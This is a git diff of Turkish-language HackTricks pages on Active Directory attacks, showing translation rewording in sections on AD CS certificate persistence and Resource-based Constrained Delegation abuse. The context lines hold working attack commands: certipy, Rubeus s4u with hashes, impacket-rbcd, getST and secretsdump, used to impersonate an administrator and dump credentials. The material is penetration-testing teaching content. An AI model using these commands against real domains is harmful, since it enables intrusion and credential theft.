- Sertifika zinciri, DC tarafından güvenilen bir kök sertifikaya ulaşmalıdır. NTAuth'taki Kurumsal CA'lar genellikle güvenilir; bazı ortamlar ayrıca kamu CA'larını da güvenilir kabul eder.
|
||||
|
||||
Zayıf açık eşlemeler ve saldırı yolları hakkında daha fazla bilgi için bakınız:
|
||||
@ -111,11 +111,11 @@ certipy req -u 'john@corp.local' -p 'Passw0rd!' -ca 'CA-SERVER\CA-NAME' \
|
||||
```
|
||||
Ajans sertifikasının veya şablon izinlerinin iptali, bu kalıcılığı ortadan kaldırmak için gereklidir.
|
||||
|
||||
## 2025 Güçlü Sertifika Eşleştirme Uygulaması: Kalıcılığa Etkisi
|
||||
## 2025 Güçlü Sertifika Eşleştirme Zorunluluğu: Kalıcılık Üzerindeki Etkisi
|
||||
|
||||
Microsoft KB5014754, etki alanı denetleyicilerinde Güçlü Sertifika Eşleştirme Uygulamasını tanıttı. 11 Şubat 2025'ten itibaren, DC'ler varsayılan olarak Tam Uygulama moduna geçerek zayıf/belirsiz eşleştirmeleri reddetmektedir. Pratik sonuçlar:
|
||||
Microsoft KB5014754, etki alanı denetleyicilerinde Güçlü Sertifika Eşleştirme Zorunluluğunu tanıttı. 11 Şubat 2025'ten itibaren, DC'ler varsayılan olarak Tam Zorunluluk moduna geçerek zayıf/belirsiz eşleştirmeleri reddetmektedir. Pratik sonuçlar:
|
||||
|
||||
- SID eşleştirme uzantısını içermeyen 2022 öncesi sertifikalar, DC'ler Tam Uygulama modundayken örtük eşleştirmeyi başarısız kılabilir. Saldırganlar, sertifikaları AD CS aracılığıyla yenileyerek (SID uzantısını elde etmek için) veya `altSecurityIdentities` içinde güçlü bir açık eşleştirme yerleştirerek (PERSIST4) erişimi sürdürebilir.
|
||||
- SID eşleştirme uzantısını içermeyen 2022 öncesi sertifikalar, DC'ler Tam Zorunluluk modundayken örtük eşleştirmeyi başaramayabilir. Saldırganlar, sertifikaları AD CS aracılığıyla yenileyerek (SID uzantısını almak için) veya `altSecurityIdentities` içinde güçlü bir açık eşleştirme yerleştirerek (PERSIST4) erişimi sürdürebilir.
|
||||
- Güçlü formatlar (Yayımcı+Seri, SKI, SHA1-PublicKey) kullanan açık eşleştirmeler çalışmaya devam etmektedir. Zayıf formatlar (Yayımcı/Konu, Sadece Konu, RFC822) engellenebilir ve kalıcılık için kaçınılmalıdır.
|
||||
|
||||
Yönetici, aşağıdakileri izlemeli ve uyarı vermelidir:
|
||||
@ -124,7 +124,7 @@ Yönetici, aşağıdakileri izlemeli ve uyarı vermelidir:
|
||||
|
||||
## Referanslar
|
||||
|
||||
- Microsoft. KB5014754: Windows etki alanı denetleyicilerinde sertifika tabanlı kimlik doğrulama değişiklikleri (uygulama zaman çizelgesi ve güçlü eşleştirmeler).
|
||||
- Microsoft. KB5014754: Windows etki alanı denetleyicilerinde sertifika tabanlı kimlik doğrulama değişiklikleri (zorunluluk zaman çizelgesi ve güçlü eşleştirmeler).
|
||||
https://support.microsoft.com/en-au/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16
|
||||
- Certipy Wiki – Komut Referansı (`req -renew`, `auth`, `shadow`).
|
||||
https://github.com/ly4k/Certipy/wiki/08-%E2%80%90-Command-Reference
|
||||
|
@ -2,19 +2,18 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Resource-based Constrained Delegation Temelleri
|
||||
|
||||
Bu, temel [Constrained Delegation](constrained-delegation.md) ile benzerdir ancak **bir nesneye** **bir makineye karşı herhangi bir kullanıcıyı taklit etme** izni vermek yerine, Resource-based Constrained Delegation **nesnede** **ona karşı herhangi bir kullanıcıyı taklit edebilecek olanı** **belirler**.
|
||||
|
||||
Bu durumda, kısıtlı nesne, ona karşı herhangi bir kullanıcıyı taklit edebilecek kullanıcının adını içeren _**msDS-AllowedToActOnBehalfOfOtherIdentity**_ adlı bir niteliğe sahip olacaktır.
|
||||
Bu durumda, kısıtlı nesne, ona karşı herhangi bir diğer kullanıcıyı taklit edebilecek kullanıcının adıyla birlikte _**msDS-AllowedToActOnBehalfOfOtherIdentity**_ adlı bir niteliğe sahip olacaktır.
|
||||
|
||||
Bu Kısıtlı Delegasyonun diğer delegasyonlardan önemli bir farkı, **makine hesabı üzerinde yazma izinlerine sahip** herhangi bir kullanıcının (_GenericAll/GenericWrite/WriteDacl/WriteProperty/etc_) **_msDS-AllowedToActOnBehalfOfOtherIdentity_** değerini ayarlayabilmesidir (Diğer Delegasyon türlerinde alan yöneticisi ayrıcalıkları gerekiyordu).
|
||||
Bu Kısıtlı Delegasyonun diğer delegasyonlardan önemli bir farkı, **makine hesabı üzerinde yazma izinlerine sahip** herhangi bir kullanıcının (_GenericAll/GenericWrite/WriteDacl/WriteProperty/etc_) **_msDS-AllowedToActOnBehalfOfOtherIdentity_** değerini ayarlayabilmesidir (Diğer Delegasyon türlerinde alan adı yöneticisi ayrıcalıkları gerekiyordu).
|
||||
|
||||
### Yeni Kavramlar
|
||||
|
||||
Kısıtlı Delegasyon'da, kullanıcının _userAccountControl_ değerindeki **`TrustedToAuthForDelegation`** bayrağının bir **S4U2Self** gerçekleştirmek için gerekli olduğu söylenmişti. Ancak bu tamamen doğru değil.\
|
||||
Gerçek şu ki, o değer olmadan bile, eğer bir **hizmet** (bir SPN'e sahipseniz) iseniz, herhangi bir kullanıcıya karşı **S4U2Self** gerçekleştirebilirsiniz, ancak eğer **`TrustedToAuthForDelegation`** varsa, dönen TGS **Forwardable** olacaktır ve eğer o bayrağa sahip değilseniz, dönen TGS **Forwardable** **olmayacaktır**.
|
||||
Gerçek şu ki, o değer olmadan bile, eğer bir **hizmet** (bir SPN'e sahipseniz) iseniz, herhangi bir kullanıcıya karşı **S4U2Self** gerçekleştirebilirsiniz, ancak eğer **`TrustedToAuthForDelegation`** bayrağına sahipseniz, dönen TGS **Forwardable** olacaktır ve eğer o bayrağa sahip değilseniz, dönen TGS **Forwardable** **olmayacaktır**.
|
||||
|
||||
Ancak, **S4U2Proxy**'de kullanılan **TGS** **Forwardable DEĞİLSE**, temel bir **Constrain Delegation**'ı kötüye kullanmaya çalışmak **çalışmayacaktır**. Ama eğer bir **Resource-Based constrain delegation**'ı istismar etmeye çalışıyorsanız, bu **çalışacaktır**.
|
||||
|
||||
@ -25,14 +24,14 @@ Ancak, **S4U2Proxy**'de kullanılan **TGS** **Forwardable DEĞİLSE**, temel bir
|
||||
Saldırganın zaten **kurban bilgisayarı üzerinde yazma eşdeğer ayrıcalıklarına** sahip olduğunu varsayalım.
|
||||
|
||||
1. Saldırgan, bir **SPN**'ye sahip bir hesabı **ele geçirir** veya **oluşturur** (“Hizmet A”). Herhangi bir _Admin User_'ın başka bir özel ayrıcalığı olmadan **10 Bilgisayar nesnesi** (**_MachineAccountQuota_**) oluşturabileceğini ve bunlara bir **SPN** ayarlayabileceğini unutmayın. Bu nedenle, saldırgan sadece bir Bilgisayar nesnesi oluşturup bir SPN ayarlayabilir.
|
||||
2. Saldırgan, kurban bilgisayar (ServiceB) üzerindeki **yazma ayrıcalığını** kötüye kullanarak, **HizmetA'nın o kurban bilgisayar (ServiceB) üzerinde herhangi bir kullanıcıyı taklit etmesine izin verecek şekilde kaynak tabanlı kısıtlı delegasyonu** yapılandırır.
|
||||
3. Saldırgan, **Hizmet B'ye ayrıcalıklı erişimi olan bir kullanıcı** için Hizmet A'dan Hizmet B'ye **tam bir S4U saldırısı** (S4U2Self ve S4U2Proxy) gerçekleştirmek için Rubeus'u kullanır.
|
||||
1. S4U2Self (ele geçirilen/oluşturulan SPN'den): **Yönetici için bana bir TGS iste** (Forwardable DEĞİL).
|
||||
2. S4U2Proxy: Önceki adımın **Forwardable DEĞİL** TGS'sini kullanarak **Yönetici**'den **kurban ana bilgisayara** bir **TGS** istemek.
|
||||
3. Forwardable DEĞİL bir TGS kullanıyor olsanız bile, kaynak tabanlı kısıtlı delegasyonu istismar ettiğiniz için, bu **çalışacaktır**.
|
||||
4. Saldırgan, **ticket'ı geçirebilir** ve **kullanıcıyı taklit ederek** **kurban ServiceB'ye erişim** elde edebilir.
|
||||
2. Saldırgan, kurban bilgisayar (ServiceB) üzerindeki **yazma ayrıcalığını** kötüye kullanarak **resource-based constrained delegation'ı yapılandırır ve ServiceA'nın o kurban bilgisayar (ServiceB) üzerinde herhangi bir kullanıcıyı taklit etmesine izin verir**.
|
||||
3. Saldırgan, Service A'dan Service B'ye, **Service B'ye ayrıcalıklı erişimi olan bir kullanıcı** için **tam bir S4U saldırısı** gerçekleştirmek üzere Rubeus'u kullanır.
|
||||
1. S4U2Self (ele geçirilen/oluşturulan SPN'den): **Yönetici için bana bir TGS iste** (Forwardable DEĞİL).
|
||||
2. S4U2Proxy: Önceki adımda **Forwardable DEĞİL** olan TGS'yi kullanarak **Yönetici**'den **kurban ana bilgisayara** bir **TGS** istemek.
|
||||
3. Forwardable DEĞİL bir TGS kullanıyor olsanız bile, Resource-based constrained delegation'ı istismar ettiğiniz için bu **çalışacaktır**.
|
||||
4. Saldırgan, **ticket'ı geçirebilir** ve **kullanıcıyı taklit ederek** **kurban ServiceB'ye erişim** elde edebilir.
|
||||
|
||||
Alanınızdaki _**MachineAccountQuota**_ değerini kontrol etmek için şunu kullanabilirsiniz:
|
||||
Alan adının _**MachineAccountQuota**_ değerini kontrol etmek için şunu kullanabilirsiniz:
|
||||
```bash
|
||||
Get-DomainObject -Identity "dc=domain,dc=local" -Domain domain.local | select MachineAccountQuota
|
||||
```
|
||||
@ -48,7 +47,7 @@ New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString '
|
||||
# Check if created
|
||||
Get-DomainComputer SERVICEA
|
||||
```
|
||||
### Kaynak Tabanlı Kısıtlı Delegasyonu Yapılandırma
|
||||
### Resource-based Constrained Delegation'ı Yapılandırma
|
||||
|
||||
**activedirectory PowerShell modülünü kullanarak**
|
||||
```bash
|
||||
@ -86,9 +85,9 @@ Rubeus'un `/altservice` parametresini kullanarak sadece bir kez sorarak daha faz
|
||||
rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<AES 256 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /altservice:krbtgt,cifs,host,http,winrm,RPCSS,wsman,ldap /domain:domain.local /ptt
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Kullanıcıların "**Delege edilemez**" adında bir niteliği olduğunu unutmayın. Eğer bir kullanıcının bu niteliği True ise, onu taklit edemezsiniz. Bu özellik bloodhound içinde görülebilir.
|
||||
> Kullanıcıların "**Delege edilemez**" adında bir özelliği olduğunu unutmayın. Eğer bir kullanıcının bu özelliği True ise, onu taklit edemezsiniz. Bu özellik bloodhound içinde görülebilir.
|
||||
|
||||
### Linux araçları: uçtan uca RBCD ile Impacket (2024+)
|
||||
### Linux araçları: Impacket ile uçtan uca RBCD (2024+)
|
||||
|
||||
Eğer Linux'tan çalışıyorsanız, resmi Impacket araçlarını kullanarak tam RBCD zincirini gerçekleştirebilirsiniz:
|
||||
```bash
|
||||
@ -110,12 +109,12 @@ impacket-secretsdump -k -no-pass Administrator@victim.domain.local
|
||||
Notlar
|
||||
- LDAP imzalama/LDAPS zorunluysa, `impacket-rbcd -use-ldaps ...` kullanın.
|
||||
- AES anahtarlarını tercih edin; birçok modern alan RC4'ü kısıtlar. Impacket ve Rubeus her ikisi de yalnızca AES akışlarını destekler.
|
||||
- Impacket bazı araçlar için `sname` ("AnySPN")'i yeniden yazabilir, ancak mümkün olduğunda doğru SPN'yi elde edin (örneğin, CIFS/LDAP/HTTP/HOST/MSSQLSvc).
|
||||
- Impacket bazı araçlar için `sname` ("AnySPN") değerini yeniden yazabilir, ancak mümkün olduğunda doğru SPN'yi elde edin (örneğin, CIFS/LDAP/HTTP/HOST/MSSQLSvc).
|
||||
|
||||
### Erişim
|
||||
|
||||
Son komut satırı **tam S4U saldırısını gerçekleştirecek ve TGS'yi** Yönetici'den kurban makinesine **belleğe** enjekte edecektir.\
|
||||
Bu örnekte, Yönetici'den **CIFS** hizmeti için bir TGS talep edildi, böylece **C$**'ye erişebileceksiniz:
|
||||
Bu örnekte, Yönetici'den **CIFS** hizmeti için bir TGS talep edilmiştir, böylece **C$**'ye erişebileceksiniz:
|
||||
```bash
|
||||
ls \\victim.domain.local\C$
|
||||
```
|
||||
@ -168,7 +167,7 @@ impacket-rbcd -delegate-to 'VICTIM$' -action flush 'domain.local/jdoe:Summer2025
|
||||
- **`KDC_ERR_ETYPE_NOTSUPP`**: Bu, kerberos'un DES veya RC4 kullanmayacak şekilde yapılandırıldığı ve yalnızca RC4 hash'ini sağladığınız anlamına gelir. Rubeus'a en az AES256 hash'ini (veya sadece rc4, aes128 ve aes256 hash'lerini sağlayın) verin. Örnek: `[Rubeus.Program]::MainString("s4u /user:FAKECOMPUTER /aes256:CC648CF0F809EE1AA25C52E963AC0487E87AC32B1F71ACC5304C73BF566268DA /aes128:5FC3D06ED6E8EA2C9BB9CC301EA37AD4 /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:Administrator /msdsspn:CIFS/M3DC.M3C.LOCAL /ptt".split())`
|
||||
- **`KRB_AP_ERR_SKEW`**: Bu, mevcut bilgisayarın zamanının DC'nin zamanından farklı olduğu ve kerberos'un düzgün çalışmadığı anlamına gelir.
|
||||
- **`preauth_failed`**: Bu, verilen kullanıcı adı + hash'lerin giriş yapmak için çalışmadığı anlamına gelir. Hash'leri oluştururken kullanıcı adının içine "$" koymayı unutmuş olabilirsiniz (`.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local`)
|
||||
- **`KDC_ERR_BADOPTION`**: Bu, aşağıdakileri ifade edebilir:
|
||||
- **`KDC_ERR_BADOPTION`**: Bu, şunları ifade edebilir:
|
||||
- Taklit etmeye çalıştığınız kullanıcı, istenen hizmete erişemiyor (çünkü onu taklit edemezsiniz veya yeterli ayrıcalıklara sahip değildir)
|
||||
- İstenen hizmet mevcut değil (eğer winrm için bir bilet isterseniz ama winrm çalışmıyorsa)
|
||||
- Oluşturulan fakecomputer, savunmasız sunucu üzerindeki ayrıcalıklarını kaybetti ve bunları geri vermeniz gerekiyor.
|
||||
@ -196,6 +195,6 @@ adws-enumeration.md
|
||||
- [https://stealthbits.com/blog/resource-based-constrained-delegation-abuse/](https://stealthbits.com/blog/resource-based-constrained-delegation-abuse/)
|
||||
- [https://posts.specterops.io/kerberosity-killed-the-domain-an-offensive-kerberos-overview-eb04b1402c61](https://posts.specterops.io/kerberosity-killed-the-domain-an-offensive-kerberos-overview-eb04b1402c61)
|
||||
- Impacket rbcd.py (resmi): https://github.com/fortra/impacket/blob/master/examples/rbcd.py
|
||||
- Son sözdizimi ile hızlı Linux kılavuzu: https://tldrbins.github.io/rbcd/
|
||||
- Son güncel sözdizimi ile hızlı Linux kılavuzu: https://tldrbins.github.io/rbcd/
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user